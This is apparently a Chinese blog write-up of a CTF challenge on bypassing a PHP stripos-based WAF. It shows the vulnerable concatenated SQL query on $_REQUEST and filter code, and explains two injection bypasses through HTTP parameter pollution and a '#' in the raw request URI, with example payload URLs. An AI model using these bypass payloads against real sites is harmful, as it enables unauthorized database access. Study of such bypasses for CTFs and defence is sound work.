php 绕过 stripos,PHP的两个特性导致waf绕过注入(有趣的知识点)

1、HPP HTTP参数污染

HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比如Apache就要以最后一个参数为准,比如:

user.php?id=111&id=222

如果输出$_GET数组,则id的值只会取222,即URL上提交的多余值覆盖了前一个值。

2、一个CTF题目

关于注入的waf绕过,注入点为:

Default

$sql="select * from user where id=".$_REQUEST["id"].";";

1

$sql="select * from user where id=".$_REQUEST["id"].";";

可以看到了REQUEST进行传递,并且存在如下的waf代码:

Default

functionwaf($str) {

if(stripos($str,"select")!==false)

die("Be a good person!");

if(stripos($str,"union")!==false)

die("Be a good person!");

......

}

functionwafArr($arr) {

foreach($arras$k=> $v) {

waf($k);

waf($v);

}

}

wafArr($_GET);

wafArr($_POST);

wafArr($_COOKIE);

wafArr($_SESSION);

functionstripStr($str) {

if(get_magic_quotes_gpc())

$str= stripslashes($str);

returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));

}

$uri= explode("?",$_SERVER['REQUEST_URI']);

if(isset($uri[1])) {

$parameter= explode("&",$uri[1]);

foreach($parameteras$k=> $v) {

$v1= explode("=",$v);

if(isset($v1[1])) {

$_REQUEST[$v1[0]] = stripStr($v1[1]);

}

}

}

functionstripArr($arr) {

$new_arr= array();

foreach($arras$k=> $v) {

$new_arr[stripStr($k)] = stripStr($v);

}

return$new_arr;

}

$_GET=stripArr($_GET);

$_POST=stripArr($_POST);

$_COOKIE=stripArr($_COOKIE);

$_SESSION=stripArr($_SESSION);

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

functionwaf($str){

if(stripos($str,"select")!==false)

die("Be a good person!");

if(stripos($str,"union")!==false)

die("Be a good person!");

......

}

functionwafArr($arr){

foreach($arras$k=>$v){

waf($k);

waf($v);

}

}

wafArr($_GET);

wafArr($_POST);

wafArr($_COOKIE);

wafArr($_SESSION);

functionstripStr($str){

if(get_magic_quotes_gpc())

$str=stripslashes($str);

returnaddslashes(htmlspecialchars($str,ENT_QUOTES,'UTF-8'));

}

$uri=explode("?",$_SERVER['REQUEST_URI']);

if(isset($uri[1])){

$parameter=explode("&",$uri[1]);

foreach($parameteras$k=>$v){

$v1=explode("=",$v);

if(isset($v1[1])){

$_REQUEST[$v1[0]]=stripStr($v1[1]);

}

}

}

functionstripArr($arr){

$new_arr=array();

foreach($arras$k=>$v){

$new_arr[stripStr($k)]=stripStr($v);

}

return$new_arr;

}

$_GET=stripArr($_GET);

$_POST=stripArr($_POST);

$_COOKIE=stripArr($_COOKIE);

$_SESSION=stripArr($_SESSION);

这里使用了waf函数分别对GET POST SESSION COOKIE数据进行过滤,并且对这些全局数组进行转义。

值得注意的是,这里的$_REQUEST是代码中重新根据$_SERVER[‘REQUEST_URI’]进行拼接,在拼接过程中将参数值进行转义操作。

(1)思路1  使用HPP特性

看似不太可能存在注入,但是使用HPP可以实现。

示例代码:

Default

user.php?id=0 or 1&id%00=1

user.php?id=0 or 1&%20id=1

user.php?id=0 or 1?&id=1

1

2

3

user.php?id=0or1&id%00=1

user.php?id=0or1&%20id=1

user.php?id=0or1?&id=1

测试代码:

Default

function stripArr($arr) {

$new_arr = array();

foreach ($arr as $k => $v) {

$new_arr[stripStr($k)] = stripStr($v);

}

return $new_arr;

}

function stripStr($str) {

if (get_magic_quotes_gpc())

$str = stripslashes($str);

return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));

}

$uri = explode("?",$_SERVER['REQUEST_URI']);

if(isset($uri[1])) {

$parameter = explode("&",$uri[1]);

foreach ($parameter as $k => $v) {

$v1 = explode("=",$v);

if (isset($v1[1])) {

$_REQUEST[$v1[0]] = stripStr($v1[1]);

}

}

}

var_dump($_GET) ;

var_dump($_REQUEST) ;

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

functionstripArr($arr){

$new_arr=array();

foreach($arras$k=>$v){

$new_arr[stripStr($k)]=stripStr($v);

}

return$new_arr;

}

functionstripStr($str){

if(get_magic_quotes_gpc())

$str=stripslashes($str);

returnaddslashes(htmlspecialchars($str,ENT_QUOTES,'UTF-8'));

}

$uri=explode("?",$_SERVER['REQUEST_URI']);

if(isset($uri[1])){

$parameter=explode("&",$uri[1]);

foreach($parameteras$k=>$v){

$v1=explode("=",$v);

if(isset($v1[1])){

$_REQUEST[$v1[0]]=stripStr($v1[1]);

}

}

}

var_dump($_GET);

var_dump($_REQUEST);

?>

输出结果:

052617cbebbeb3e1109aa5791092713b.png

可以看到,这里的GET数组取到了最后一个值,不会触发waf,而REQUEST数据中,id则为我们的注入语句,这样

利用这两者之间的差异,我们可以绕过waf函数的检测,并且利用之前的注入点来实现注入。

(2)思路2: 利用#特性($_SERVER[‘REQUEST_URI’])

在浏览器中,是不会将#号之后的hash内容发送给服务器的,这里利用burp发包,可以将hash的内容发送至服务器,比如发送:

Default

/#?id=1

1

/#?id=1

这里GET数组为空,REQUEST则输出为/#?id=1,这样,就可以绕过waf函数对GET数组的判断,

并且在REQUEST(这里主要因为REQUEST数组是使用了REQUEST_URI进行了重组)中携带注入的语句,绕过了waf检测。

8a2eb80d09e2773bd11d24cf7e62e3ce.png

3、总结

这种特性导致的漏洞场景比较特殊,首先,CTF中模拟的场景是waf函数 只对GET,POST,SESSION,COOKIES全局数组进行的处理,注入点为REQUEST,在场景中,代码对REQUEST数组通 过$_SERVER[‘REQUEST_URI’],使用&分割重新组装的,这种代码处理可能是由于程序员想对REQUEST数组进行转义或者一 些净化处理才加进来的。

利用:

(1)HPP特性,提交重复参数内容,PHP处理参数时会覆盖,但是程序拼接时会出现差异,

比如提交:http://127.0.0.1/shell.php?id=0 or 1&id%00=1

GET为id=1,REQUEST为:

Default

'id' =>string'0%20or%201'(length=10)

'id%00' =>string'1'(length=1)

1

2

'id'=>string'0%20or%201'(length=10)

'id%00'=>string'1'(length=1)

可以看到,成功将注入内容引入到REQUEST数组中。

(2)利用#符号,#后面的内容不会带入至GET数组中,但是会出现在REQUEST_URI中,所以可以利用这个特性将注入语句带入到REQUEST对象中。

总之,这种特性导致的漏洞场景比较特殊,但是确实比较有趣。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值